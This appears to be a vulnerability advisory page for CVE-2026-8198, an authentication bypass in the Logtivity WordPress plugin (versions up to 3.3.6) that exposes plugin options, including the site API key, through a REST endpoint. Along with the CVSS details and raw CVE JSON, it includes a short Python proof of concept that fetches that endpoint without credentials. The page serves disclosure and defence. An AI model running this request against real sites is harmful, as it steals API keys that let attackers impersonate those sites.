Security Vulnerability Report
中文
CVE-2026-8198 CVSS 5.3 MEDIUM

CVE-2026-8198

Published: 2026-05-09 13:16:44
Last Modified: 2026-05-11 15:11:49

Description

The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin for WordPress is vulnerable to Authentication Bypass to Information Disclosure in versions up to, and including, 3.3.6. This is due to a logic flaw in the verifyAuthorization method where requests without an Authorization header skip Bearer token validation and fall through to an unconditional return true statement, bypassing all authentication checks. This makes it possible for unauthenticated attackers to access the /wp-json/logtivity/v1/options REST API endpoint and retrieve all plugin configuration options, including the logtivity_site_api_key which can be used to impersonate the site in API calls to the Logtivity service.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity <= 3.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (replace with actual vulnerable site) target_url = "https://example.com/wp-json/logtivity/v1/options" # Send a GET request without Authorization header # The vulnerability allows skipping auth if the header is missing response = requests.get(target_url) if response.status_code == 200: print("[+] Exploit successful! Sensitive data retrieved:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8198", "sourceIdentifier": "[email protected]", "published": "2026-05-09T13:16:43.687", "lastModified": "2026-05-11T15:11:48.807", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin for WordPress is vulnerable to Authentication Bypass to Information Disclosure in versions up to, and including, 3.3.6. This is due to a logic flaw in the verifyAuthorization method where requests without an Authorization header skip Bearer token validation and fall through to an unconditional return true statement, bypassing all authentication checks. This makes it possible for unauthenticated attackers to access the /wp-json/logtivity/v1/options REST API endpoint and retrieve all plugin configuration options, including the logtivity_site_api_key which can be used to impersonate the site in API calls to the Logtivity service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/logtivity/tags/3.3.6/Core/Services/Logtivity_Rest_Endpoints.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/logtivity/tags/3.3.6/Core/Services/Logtivity_Rest_Endpoints.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/logtivity/tags/3.3.7/Core/Services/Logtivity_Rest_Endpoints.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/logtivity/tags/3.3.7/Core/Services/Logtivity_Rest_Endpoints.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3507386/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65ca20b0-0831-4f60-9021-679be6c145ef?source=cve", "source": "[email protected]"}]}}